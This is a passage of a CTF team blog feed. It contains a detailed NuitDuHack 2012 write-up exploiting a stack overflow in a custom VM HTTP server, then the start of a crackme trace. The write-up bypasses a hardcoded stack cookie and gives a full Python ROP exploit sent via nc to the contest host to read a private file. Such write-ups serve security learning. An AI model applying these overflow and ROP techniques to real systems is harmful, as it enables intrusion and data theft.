			<wfw:commentRss>http://leetmore.ctf.su/wp/plaidctf-2012-bouncer-250-practical-packets/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Программа RuCTF</title>
		<link>http://leetmore.ctf.su/wp/ructf-schedule/</link>
		<comments>http://leetmore.ctf.su/wp/ructf-schedule/#comments</comments>
		<pubDate>Thu, 19 Apr 2012 06:46:57 +0000</pubDate>
		<dc:creator>vos</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2472</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><img src="http://img.vos.uz/liivd.jpg" alt="http://img.vos.uz/liivd.jpg" /></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/ructf-schedule/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NuitDuHack 2012 Prequals &#8211; Web3.ndh</title>
		<link>http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-web3-ndh/</link>
		<comments>http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-web3-ndh/#comments</comments>
		<pubDate>Sun, 25 Mar 2012 23:00:48 +0000</pubDate>
		<dc:creator>hellman</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[4005]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[ndh2k12]]></category>
		<category><![CDATA[nuitduhack]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[rop]]></category>
		<category><![CDATA[vm]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2425</guid>
		<description><![CDATA[Our spy thinks that Sciteek staff is aware about the mole inside their building. He is trying to read a private file named &#8220;sciteek-private.txt&#8221; located at sciteek.nuitduhack.com:4005. Please find the .ndh attached, if you are sucessfull, reply with a message entitled &#8220;complex remote service&#8221;. Of course, your efforts will be rewarded with $2500. Maybe you&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-web3-ndh/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>Our spy thinks that Sciteek staff is aware about the mole inside<br />
their building. He is trying to read a private file named &#8220;sciteek-private.txt&#8221;<br />
located at sciteek.nuitduhack.com:4005. Please find the .ndh attached, if<br />
you are sucessfull, reply with a message entitled &#8220;complex remote service&#8221;.</p>
<p>Of course, your efforts will be rewarded with $2500. Maybe you will find<br />
pieces of informations about the mole.</p>
<p>Piotr</p></blockquote>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/files/ndh2012/web3.ndh">Web3.ndh</a><br />
<a href="http://leetmore.ctf.su/wp-content/uploads/files/ndh2012/sciproc.tgz">NDH Virtual Machine</a></p>
<p><strong>Summary:</strong> rop exploit in a VM, avoiding hardcoded stack cookie</p>
<p><span id="more-2425"></span></p>
<p>Previous challenges contained some interesting strings, so let&#8217;s check for strings in this binary too:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">strings</span> web3.ndh
.NDH
HTTP<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">1.0</span> <span style="color: #000000;">200</span> OK
Content-Type : text<span style="color: #000000; font-weight: bold;">/</span>HTML
Content-Length : <span style="color: #000000;">70</span>
<span style="color: #000000; font-weight: bold;">&lt;</span>html<span style="color: #000000; font-weight: bold;">&gt;&lt;</span>center<span style="color: #000000; font-weight: bold;">&gt;&lt;</span>b<span style="color: #000000; font-weight: bold;">&gt;</span>Exploit Me <span style="color: #000000; font-weight: bold;">if</span> you can ;<span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">&lt;/</span>b<span style="color: #000000; font-weight: bold;">&gt;&lt;/</span>html<span style="color: #000000; font-weight: bold;">&gt;&lt;/</span>center<span style="color: #000000; font-weight: bold;">&gt;</span>
GET 
Cannot create server</pre></div></div>

<p>Hmm it&#8217;s some kind of a HTTP server. Also there&#8217;s only <strong>&#8220;GET&#8221;</strong> in strings, not <strong>&#8220;HTTP/1.1&#8243;</strong> or other http markers. Looks like it&#8217;s wants a request only to start with <strong>&#8220;GET &#8220;</strong>. Let&#8217;s check:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ .<span style="color: #000000; font-weight: bold;">/</span>vmndh <span style="color: #660033;">-file</span> web3.ndh 
GET blabla
HTTP<span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">1.0</span> <span style="color: #000000;">200</span> OK
Content-Type : text<span style="color: #000000; font-weight: bold;">/</span>HTML
Content-Length : <span style="color: #000000;">70</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;</span>html<span style="color: #000000; font-weight: bold;">&gt;&lt;</span>center<span style="color: #000000; font-weight: bold;">&gt;&lt;</span>b<span style="color: #000000; font-weight: bold;">&gt;</span>Exploit Me <span style="color: #000000; font-weight: bold;">if</span> you can ;<span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #000000; font-weight: bold;">&lt;/</span>b<span style="color: #000000; font-weight: bold;">&gt;&lt;/</span>html<span style="color: #000000; font-weight: bold;">&gt;&lt;/</span>center<span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div>

<p>Let&#8217;s try to overflow the request:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'print &quot;GET &quot; . &quot;A&quot;x1024;'</span> <span style="color: #000000; font-weight: bold;">|</span> .<span style="color: #000000; font-weight: bold;">/</span>vmndh <span style="color: #660033;">-file</span> web3.ndh
$</pre></div></div>

<p>Just an exit! Let&#8217;s debug it:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">$ <span style="color: #339933;">./</span>vmndh <span style="color: #339933;">-</span>file web3<span style="color: #339933;">.</span>ndh <span style="color: #339933;">-</span>debug
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; run
<span style="color: #339933;">...</span>
<span style="color: #0000ff;">0x81e8</span> &gt; <span style="color: #000000; font-weight: bold;">syscall</span> <span style="color: #009900; font-weight: bold;">&#40;</span>r0 = <span style="color: #0000ff;">0x0003</span> <span style="color: #339933;">-</span> read<span style="color: #009900; font-weight: bold;">&#41;</span>
GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">SYSCALL</span> output<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">517</span>
<span style="color: #0000ff;">0x81e9</span> &gt; <span style="color: #00007f; font-weight: bold;">ret</span>
<span style="color: #0000ff;">0x84d8</span> &gt; <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x84dc</span> &gt; addl r8<span style="color: #339933;">,</span> #<span style="color: #0000ff;">0x200</span>
<span style="color: #0000ff;">0x84e1</span> &gt; <span style="color: #00007f; font-weight: bold;">pop</span> r1
<span style="color: #0000ff;">0x84e3</span> &gt; cmpl r1<span style="color: #339933;">,</span> #<span style="color: #0000ff;">0xbeef</span>
<span style="color: #0000ff;">0x84e8</span> &gt; <span style="color: #00007f; font-weight: bold;">jz</span> <span style="color: #0000ff;">0x01</span>
<span style="color: #0000ff;">0x84eb</span> &gt; <span style="color: #000000; font-weight: bold;">end</span></pre></div></div>

<p><strong>r8</strong> is actually like a <strong>esp</strong> on <strong>x86</strong> &#8211; it&#8217;s a stack pointer. Adding 0&#215;200 to it is like closing the stackframe.<br />
The next word on the stack is compared to 0xbeef &#8211; it must be just a stack cookie!<br />
Let&#8217;s check:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'print &quot;GET &quot; . &quot;\xef\xbe&quot;x512;'</span> <span style="color: #000000; font-weight: bold;">|</span> .<span style="color: #000000; font-weight: bold;">/</span>vmndh <span style="color: #660033;">-file</span> web3.ndh
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">!</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Segfault 0xbeef <span style="color: #7a0874; font-weight: bold;">&#40;</span>out of range<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

<p>Yes, it&#8217;s jumping to 0xbeef! 0&#215;200 is 512, let&#8217;s pad it:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'print &quot;GET &quot; . &quot;A&quot;x508 . &quot;\xef\xbe&quot; . &quot;\x42\x41&quot;;'</span> <span style="color: #000000; font-weight: bold;">|</span> .<span style="color: #000000; font-weight: bold;">/</span>vmndh <span style="color: #660033;">-file</span> web3.ndh
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">!</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Segfault 0x4142 <span style="color: #7a0874; font-weight: bold;">&#40;</span>opcode unknown<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

<p>So, we can jump to an arbitrary address. Let&#8217;s find out our buffer address:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;">$ <span style="color: #339933;">./</span>vmndh <span style="color: #339933;">-</span>file web3<span style="color: #339933;">.</span>ndh <span style="color: #339933;">-</span>debug
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; <span style="color: #00007f;">bp</span> <span style="color: #0000ff;">0x81e8</span>
Breakpoint set <span style="color: #00007f; font-weight: bold;">in</span> <span style="color: #0000ff;">0x81e8</span>
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; run
<span style="color: #339933;">...</span>
<span style="color: #009900; font-weight: bold;">&#91;</span>BreakPoint <span style="color: #0000ff;">1</span> <span style="color: #339933;">-</span> <span style="color: #0000ff;">0x81e8</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x81e8</span> &gt; <span style="color: #000000; font-weight: bold;">syscall</span> <span style="color: #009900; font-weight: bold;">&#40;</span>r0 = <span style="color: #0000ff;">0x0003</span> <span style="color: #339933;">-</span> read<span style="color: #009900; font-weight: bold;">&#41;</span>
GET blabla
<span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">SYSCALL</span> output<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">11</span>
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; show <span style="color: #00007f;">sp</span>
<span style="color: #adadad; font-style: italic;">7bf2</span><span style="color: #339933;">:</span> d8 <span style="color: #0000ff;">84</span> <span style="color: #0000ff;">47</span> <span style="color: #0000ff;">45</span> <span style="color: #0000ff;">54</span> <span style="color: #0000ff;">20</span> <span style="color: #0000ff;">62</span> 6c <span style="color: #0000ff;">61</span> <span style="color: #0000ff;">62</span>
# <span style="color: #000000; font-weight: bold;">this</span> is<span style="color: #339933;">:</span>  G  E  T     b  l  a  b</pre></div></div>

<p>The address is <strong>0x7bf8</strong>. Let&#8217;s check for NX:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'print &quot;GET &quot; . &quot;A&quot;x508 . &quot;\xef\xbe&quot; . &quot;\xf8\x7b&quot;;'</span> <span style="color: #000000; font-weight: bold;">|</span> .<span style="color: #000000; font-weight: bold;">/</span>vmndh <span style="color: #660033;">-file</span> web3.ndh
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">!</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Segfault 0x7bf8 <span style="color: #7a0874; font-weight: bold;">&#40;</span>opcode unknown<span style="color: #7a0874; font-weight: bold;">&#41;</span>
$ <span style="color: #c20cb9; font-weight: bold;">perl</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">'print &quot;GET &quot; . &quot;A&quot;x508 . &quot;\xef\xbe&quot; . &quot;\xf8\x7b&quot;;'</span> <span style="color: #000000; font-weight: bold;">|</span> nc sci.nuitduhack.com <span style="color: #000000;">4005</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">!</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Segfault 0x7bf8 <span style="color: #7a0874; font-weight: bold;">&#40;</span>NX bit<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

<p>Ahh, there&#8217;s NX bit enabled on the server! So we have to make a ROP payload. It&#8217;s easy to find some cool gadgets:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; dis 81D2<span style="color: #339933;">:</span><span style="color: #0000ff;">6</span>
<span style="color: #0000ff;">0x81d2</span><span style="color: #339933;">:</span> movb r0<span style="color: #339933;">,</span> #<span style="color: #0000ff;">0x02</span>  &lt;<span style="color: #339933;">-</span> SYS_OPEN
<span style="color: #0000ff;">0x81d6</span><span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">syscall</span>
<span style="color: #0000ff;">0x81d7</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">ret</span>
&nbsp;
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; dis <span style="color: #0000ff;">8229</span><span style="color: #339933;">:</span><span style="color: #0000ff;">7</span>
<span style="color: #0000ff;">0x8229</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r3  \
<span style="color: #0000ff;">0x822b</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r2   |<span style="color: #339933;">-</span>&gt; arguments <span style="color: #000000; font-weight: bold;">for</span> syscalls
<span style="color: #0000ff;">0x822d</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r1  <span style="color: #339933;">/</span>
<span style="color: #0000ff;">0x822f</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">ret</span>
&nbsp;
<span style="color: #009900; font-weight: bold;">&#91;</span>Console<span style="color: #009900; font-weight: bold;">&#93;</span>#&gt; dis <span style="color: #0000ff;">8198</span><span style="color: #339933;">:</span><span style="color: #0000ff;">5</span>
<span style="color: #0000ff;">0x8198</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r1
<span style="color: #0000ff;">0x819a</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">pop</span> r0  &lt;<span style="color: #339933;">-</span> <span style="color: #000000; font-weight: bold;">syscall</span> number
<span style="color: #0000ff;">0x819c</span><span style="color: #339933;">:</span> <span style="color: #00007f; font-weight: bold;">ret</span></pre></div></div>

<p>And here&#8217;s self-explaining exploit:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">from</span> <span style="color: #dc143c;">struct</span> <span style="color: #ff7700;font-weight:bold;">import</span> pack
&nbsp;
fname_addr = 0x7bf8
buf = 0x0000
&nbsp;
pop_r1_r0 = 0x8198
pop_r0 = 0x819a
pop_args = 0x8229
sys_open = 0x81d2
syscall = 0x81D6 
&nbsp;
<span style="color: #808080; font-style: italic;"># fill stackframe</span>
s = <span style="color: #483d8b;">&quot;GET sciteek-private.txt<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>.<span style="color: black;">ljust</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">512</span>, <span style="color: #483d8b;">&quot;A&quot;</span><span style="color: black;">&#41;</span>
<span style="color: #808080; font-style: italic;"># stack cookie</span>
s += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ef<span style="color: #000099; font-weight: bold;">\x</span>be&quot;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># close(3)</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, pop_r1_r0<span style="color: black;">&#41;</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, <span style="color: #ff4500;">3</span><span style="color: black;">&#41;</span>  <span style="color: #808080; font-style: italic;"># FD = 3</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, <span style="color: #ff4500;">5</span><span style="color: black;">&#41;</span>  <span style="color: #808080; font-style: italic;"># SYS_CLOSE</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, syscall<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># open(filename, O_RDONLY, 0);</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, pop_args<span style="color: black;">&#41;</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, <span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>          <span style="color: #808080; font-style: italic;"># FLAGS</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, <span style="color: #ff4500;">0</span><span style="color: black;">&#41;</span>          <span style="color: #808080; font-style: italic;"># O_RDONLY</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, fname_addr<span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;"># FILENAME</span>
&nbsp;
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, sys_open<span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;"># FILENAME</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># read(3, buf, 1000)</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, pop_args<span style="color: black;">&#41;</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, <span style="color: #ff4500;">1000</span><span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;"># SIZE</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, buf<span style="color: black;">&#41;</span>  <span style="color: #808080; font-style: italic;"># BUF</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, <span style="color: #ff4500;">3</span><span style="color: black;">&#41;</span>    <span style="color: #808080; font-style: italic;"># FD</span>
&nbsp;
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, pop_r0<span style="color: black;">&#41;</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, <span style="color: #ff4500;">3</span><span style="color: black;">&#41;</span>    <span style="color: #808080; font-style: italic;"># SYS_READ</span>
&nbsp;
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, syscall<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># write(1, buf, size)</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, pop_args<span style="color: black;">&#41;</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, <span style="color: #ff4500;">1000</span><span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;"># SIZE</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, buf<span style="color: black;">&#41;</span>  <span style="color: #808080; font-style: italic;"># BUF</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, <span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>    <span style="color: #808080; font-style: italic;"># STDOUT</span>
&nbsp;
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, pop_r0<span style="color: black;">&#41;</span>
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, <span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span>    <span style="color: #808080; font-style: italic;"># SYS_READ</span>
&nbsp;
s += pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&lt;H&quot;</span>, syscall<span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;"># FILENAME</span>
&nbsp;
<span style="color: #dc143c;">sys</span>.<span style="color: black;">stdout</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span></pre></div></div>

<p>Run it:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ py pay.py <span style="color: #000000; font-weight: bold;">|</span> nc sci.nuitduhack.com <span style="color: #000000;">4005</span>
&nbsp;
Dear Patrick,
&nbsp;
We found many evidences proving there is a mole inside our company <span style="color: #c20cb9; font-weight: bold;">who</span> is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.
&nbsp;
However, these emails seems to have been encrypted and sometimes contain images or audio files <span style="color: #c20cb9; font-weight: bold;">which</span> are apparently not related with our company or our business
, but one of them contains an archive with an explicit name.
&nbsp;
We cannot stand this situation anymore, and we should take actions to <span style="color: #c20cb9; font-weight: bold;">make</span> Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this <span style="color: #000000; font-weight: bold;">case</span> <span style="color: #c20cb9; font-weight: bold;">as</span> it should be.
&nbsp;
Sincerely,
&nbsp;
David Markham.
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">!</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Segfault 0x0000 <span style="color: #7a0874; font-weight: bold;">&#40;</span>NX bit<span style="color: #7a0874; font-weight: bold;">&#41;</span>
$</pre></div></div>

<p>Challenge solved!</p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-web3-ndh/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>NuitDuHack 2012 Prequals &#8211; executable1.ndh</title>
		<link>http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-executable1-ndh/</link>
		<comments>http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-executable1-ndh/#comments</comments>
		<pubDate>Sun, 25 Mar 2012 23:00:20 +0000</pubDate>
		<dc:creator>hellman</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[4001]]></category>
		<category><![CDATA[crackme]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[ndh2k12]]></category>
		<category><![CDATA[nuitduhack]]></category>
		<category><![CDATA[vm]]></category>
		<category><![CDATA[xor]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2436</guid>
		<description><![CDATA[Meanwhile, we got fresh news from our mystery guy. He came along with an intersting binary file. It just looks like an executable, but it is not ELF nor anything our experts would happen to know or recognize. Some of them we quite impressed by your skills and do think you may be able to&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/nuitduhack-2012-prequals-executable1-ndh/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p> Meanwhile, we got<br />
fresh news from our mystery guy. He came along with an intersting binary file.<br />
It just looks like an executable, but it is not ELF nor anything our experts<br />
would happen to know or recognize. Some of them we quite impressed by your skills<br />
and do think you may be able to succeed here. I attached the file, if you discover<br />
anything, please send me an email entitled &#8220;Strange binary file&#8221;.</p>
<p>This will be rewarded, as usual. By the way, your account has just been credited<br />
with $100.
</p></blockquote>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/files/ndh2012/executable1.ndh">executable1.ndh</a><br />
<a href="http://leetmore.ctf.su/wp-content/uploads/files/ndh2012/sciproc.tgz">NDH Virtual Machine</a></p>
<p><strong>Summary:</strong> simple crackme on NDH VM</p>
<p><span id="more-2436"></span></p>
<p>Here we have a binary for NDH VM. Let&#8217;s run it:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ .<span style="color: #000000; font-weight: bold;">/</span>vmndh <span style="color: #660033;">-file</span> executable1.ndh 
Sciteek protected storage <span style="color: #666666; font-style: italic;">#1</span>
Enter your password: <span style="color: #7a0874; font-weight: bold;">test</span>
Bad password</pre></div></div>

<p>Let&#8217;s trace it:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #0000ff;">0x83ff</span> &gt; <span style="color: #000000; font-weight: bold;">syscall</span> <span style="color: #009900; font-weight: bold;">&#40;</span>r0 = <span style="color: #0000ff;">0x0003</span> <span style="color: #339933;">-</span> read<span style="color: #009900; font-weight: bold;">&#41;</span>
<span style="color: #00007f; font-weight: bold;">TEST</span>
<span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">SYSCALL</span> output<span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">:</span> <span style="color: #0000ff;">5</span>
<span style="color: #0000ff;">0x8400</span> &gt; <span style="color: #00007f; font-weight: bold;">mov</span> r0<span style="color: #339933;">,</span> r2
<span style="color: #0000ff;">0x8404</span> &gt; <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfee0</span>
<span style="color: #0000ff;">0x82e8</span> &gt; <span style="color: #00007f; font-weight: bold;">mov</span> r7<span style="color: #339933;">,</span> r0
<span style="color: #0000ff;">0x82ec</span> &gt; movl r6<span style="color: #339933;">,</span> #<span style="color: #0000ff;">0x840d</span>
<span style="color: #0000ff;">0x82f1</span> &gt; <span style="color: #00007f; font-weight: bold;">call</span> <span style="color: #0000ff;">0xfd0e</span>
<span style="color: #0000ff;">0x8003</span> &gt; <span style="color: #00007f; font-weight: bold;">push</span> r1
<span style="color: #0000ff;">0x8006</span> &gt; <span style="color: #00007f; font-weight: bold;">push</span> r2
<span style="color: #0000ff;">0x8009</span> &gt; movl r1<span style="color: #339933;">,</span> #<span style="color: #0000ff;">0x0</span>
<span style="color: #0000ff;">0x800e</span> &gt; movl r2<span style="color: #339933;">,</span> #<span style="color: #0000ff;">0x0</span>
<span style="color: #0000ff;">0x8013</span> &gt; <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r0<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8017</span> &gt; <span style="color: #00007f; font-weight: bold;">test</span> r1<span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x801a</span> &gt; <span style="color: #00007f; font-weight: bold;">inc</span> r2
<span style="color: #0000ff;">0x801c</span> &gt; <span style="color: #00007f; font-weight: bold;">inc</span> r0
<span style="color: #0000ff;">0x801e</span> &gt; <span style="color: #00007f; font-weight: bold;">jnz</span> <span style="color: #0000ff;">0xfff2</span>
<span style="color: #0000ff;">0x8013</span> &gt; <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r0<span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #0000ff;">0x8017</span> &gt; <span style="color: #00007f; font-weight: bold;">test</span> r1<span style="color: #339933;">,</span> r1
<span style="color: #0000ff;">0x801a</span> &gt; <span style="color: #00007f; font-weight: bold;">inc</span> r2
<span style="color: #0000ff;">0x801c</span> &gt; <span style="color: #00007f; font-weight: bold;">inc</span> r0
<span style="color: #0000ff;">0x801e</span> &gt; <span style="color: #00007f; font-weight: bold;">jnz</span> <span style="color: #0000ff;">0xfff2</span>
<span style="color: #339933;">...</span>
<span style="color: #0000ff;">0x8013</span> &gt; <span style="color: #00007f; font-weight: bold;">mov</span> r1<span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">&#91;</span>r0<span style="color: #009900; font-weight: bold;">&#93;</span>
